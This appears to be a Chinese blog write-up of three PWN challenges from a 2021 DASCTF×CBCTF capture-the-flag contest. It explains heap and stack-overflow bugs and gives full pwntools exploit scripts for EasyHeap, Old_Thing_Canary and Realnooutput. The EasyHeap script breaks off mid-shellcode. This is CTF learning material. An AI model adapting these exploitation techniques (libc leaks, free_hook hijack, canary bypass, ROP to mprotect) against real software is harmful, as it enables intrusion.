ReStr0
Venom战队队员 Chamd5安全团队
ReStr0-Blog

DASCTF×CBCTF july PWN题WriteUP

这个东东,比赛结束的时候忘记更新了,现在补上

EasyHeap

https://blog.restro.cn/wp-content/uploads/2021/08/image-21.png

又是一道列表题目

https://blog.restro.cn/wp-content/uploads/2021/08/image-22.png
https://blog.restro.cn/wp-content/uploads/2021/08/image-24.png

导致可以一直申请空间,,所以可以先申请7个teche chunk 然后free之后就得到了unsort chunk的一个大堆块,然后就可以泄露libc的基址,然后劫持freehook控制执行流,方便shellcode植入

然后中间卡壳了很久,最后发现他开了seccomp,并且ban掉了execve

所以只能植入shellcode

Exp

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process('./Easyheap')
p=remote('node4.buuoj.cn','28432')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc-2.27.so')
def add(size,con):
    p.sendlineafter('>> :\n','1')
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Content:')
    p.sendline(con)
def free(idx):
    p.sendlineafter('>> :\n','2')
    p.sendlineafter('Index:\n',str(idx))

def show(idx):
    p.sendlineafter('>> :\n','3')
    p.sendlineafter('Index:\n',str(idx))

def edit(idx,con):
    p.sendlineafter('>> :\n','4')
    p.recvuntil('Index:')
    p.sendline(str(idx))
    p.recvuntil('Content:')
    p.sendline(con)
for i in range(7):
    add(0x100,'a'*0x90)
add(0x100,'a'*0x90)
add(0x100,'a'*0x90)
for i in range(7):
    free(i)
free(7)
for i in range(7):
    add(0x100,'a'*0x90)
add(0x100,'')
edit(7,'a'*0x20)
show(7)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x3ebc0a#-0x3e7a61#-0x3e4a20
print hex(libc_base)
edit(7,'a'*0x18+p64(0x81))
free_hook=libc_base+libc.sym['__free_hook']
print hex(free_hook)
exit_hook=libc_base+0x619060+3848
print hex(exit_hook)
system=libc_base+libc.sym['system']
malloc_hook=libc_base+libc.sym['__malloc_hook']-0x23
realloc=libc_base+libc.sym['__realloc_hook']
open1=libc_base+libc.sym['open']
rce=libc_base+0x4f365
setcontext = libc_base + libc.sym['setcontext'] + 53
syscall=libc_base+libc.search(asm("syscall\nret")).next()
print(hex(syscall))
free(7)
edit(0,'a'*0x98+p64(0x21)+p64(free_hook))
layout = [
    libc_base+libc.search(asm("pop rdi\nret")).next(), #: pop rdi; ret;
    free_hook & 0xfffffffffffff000,
    libc_base+libc.search(asm("pop rsi\nret")).next(), #: pop rsi; ret;
    0x2000,
    libc_base+libc.search(asm("pop rdx\nret")).next(), #: pop rdx; ret;
    7,
    libc_base+libc.search(asm("pop rax\nret")).next(), #: pop rax; ret;
    10,
    syscall, #: syscall; ret;
    libc_base+libc.search(asm("jmp rsp")).next(), #: jmp rsp;
]

shellcode = asm('''
sub rsp, 0x800
push 0x67616c66
mov rdi, rsp
xor esi, esi

Old_Thing_Canary

好巧不巧,,这道题目的原版是个canary绕过,前两天刚刚做过原版题目

然后到手一看发现多了的登入和pie保护

然后仔细一看登入存在栈溢出,可以直接绕过,

撞md5了,但是只需要撞个开头为00就好了

https://blog.restro.cn/wp-content/uploads/2021/08/image-25.png

因为pass输入还把s2的开头覆盖成\0了,刚好找到个a80

只撞个开头为00

随后发现

https://blog.restro.cn/wp-content/uploads/2021/08/image-26.png

又一个栈溢出,然后借助这里泄露canary,然后再调试,出pie,找到

https://blog.restro.cn/wp-content/uploads/2021/08/image-27.png
https://blog.restro.cn/wp-content/uploads/2021/08/image-28.png

我给它更名为backdoor,这个位置的地址,然后借助栈溢出,用canary+8*”a”+pie_base+backdoor相对位置获取到shell

Exp

from pwn import *
p=remote("node4.buuoj.cn",28503)#process("./canary3")
context.log_level='debug'
p.sendlineafter('username: ','admin\x00')
p.sendlineafter('password: ','A80'.ljust(0x20,'\x00'))
p.sendlineafter('3.exit\n','2')
p.sendafter('your input:\n','a'*(25))
p.sendlineafter('3.exit\n','1')
p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaa")
canary=b'\x00'+p.recv(7)
p.sendlineafter('3.exit\n','2')
p.sendafter('your input:\n',b'a'*(24)+b'a'*8*5+b'pppppppp')
p.sendlineafter('3.exit\n','1')
p.recvuntil(b"pppppppp")
#print("fuck",hex(u64(p.recv(6)+b'\x00'*2)))
#exit(0)
base=u64(p.recv(6)+b'\x00'*2)-(0x56179542b3f5-0x561795429000)
print("base",hex(base))
p.sendlineafter('3.exit\n','2')
p.sendafter('your input:\n',b'a'*(24)+canary+p64(0)+p64(base+0x239f))
p.sendlineafter('3.exit\n','3')
p.interactive()

Realnooutput

首先那道这道题目,有点懵逼,然后就去看了跑了一下,没有任何回显,以为是出问题了,然后我就不断输入一些无效的信息,然后无效,没显示,然后就去ida看看这个程序,

发现这是个没菜单的菜单题目,暂且称之为隐形菜单题

https://blog.restro.cn/wp-content/uploads/2021/08/image-29.png

然后玩了一下,大概明白了他的对应的功能,反正首先是必须得创建一个堆块,否则不论输入什么都会break

https://blog.restro.cn/wp-content/uploads/2021/08/image-30.png

然后大概就是这样子,

然后进入edit,发现存在任意写,,,麻了

https://blog.restro.cn/wp-content/uploads/2021/08/image-31.png

写就是了

然后就去调试了,,然后发现竟然还存在uaf。。麻了,然后double free,然后用任意写写入shellcode,然后就pwn!

https://blog.restro.cn/wp-content/uploads/2021/08/image-32.png

EXP

#!/usr/bin/env python3
#coding=utf-8
from pwn import *
context.log_level = 'debug'
context.arch='amd64'
binary = './realNoOutput' 

main_space = 0x1ebb80


p=remote('node4.buuoj.cn',29284)
elf=ELF(binary)
libc = ELF('./libc.so.6')

def add(index,size,content=b'ReStr0 for pwn'):
	sleep(0.1)
	p.sendline('1')
	sleep(0.1)
	p.sendline(str(index))
	sleep(0.1)
	p.sendline(str(size))
	sleep(0.1)
	p.sendline(content)

def edit(index,content):
	sleep(0.1)
	p.sendline('3')
	sleep(0.1)
	p.sendline(str(index))
	sleep(0.1)
	p.sendline(content)

def show(index):
	sleep(0.1)
	p.sendline('4')
	sleep(0.1)
	p.sendline(str(index))

def free(index):
	sleep(0.1)
	p.sendline('2')
	sleep(0.1)
	p.sendline(str(index))

add(0,0x88,b'ReStr0 for pwn')#0
add(1,0x88)#1

free(1)


free(0)
add(0,0x88,b'')#0

show(0)

heap_head = u64(p.recv(6).ljust(0x8,b'\x00'))-0x30a
p.success("heap_head==>{}".format(hex(heap_head)))
p.recv()
add(1,0x88)
free(0)
free(1)
add(9,0x28)
edit(1,p64(heap_head+0x360))

add(2,0x88,p64(0))
add(3,0x88)# 使得3  ==  2

for i in range(5):
	add(i+4,0x88)#4-8


add(0,0x88)
add(1,0x88)
free(0)

free(1)


for i in range(5):
	#sleep(1)
	free(i+4)#4-8

free(2)

show(3)

libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - main_space - 96
p.info("libc_base==>%#x",libc_base)
system = libc.sym["system"] + libc_base
free_hook = libc.sym["__free_hook"] + libc_base
p.info("free_hook==>%#x",free_hook)

for i in range(7):
	add(0,0x88)
add(2,0x88)#2 == 3
free(0)
free(2)

edit(3,p64(free_hook))
add(5,0x88,b'/bin/sh\x00')
add(0,0x88,p64(system))

free(5)

#gdb.attach(p,'b *$rebase(0x17db)')
p.interactive()

没有标签
首页      PWN      easyheap      DASCTF×CBCTF july PWN题WriteUP

发表评论

textsms
account_circle
email

ReStr0-Blog

DASCTF×CBCTF july PWN题WriteUP
这个东东,比赛结束的时候忘记更新了,现在补上 EasyHeap 又是一道列表题目 导致可以一直申请空间,,所以可以先申请7个teche chunk 然后free之后就得到…
扫描二维码继续阅读
2021-08-07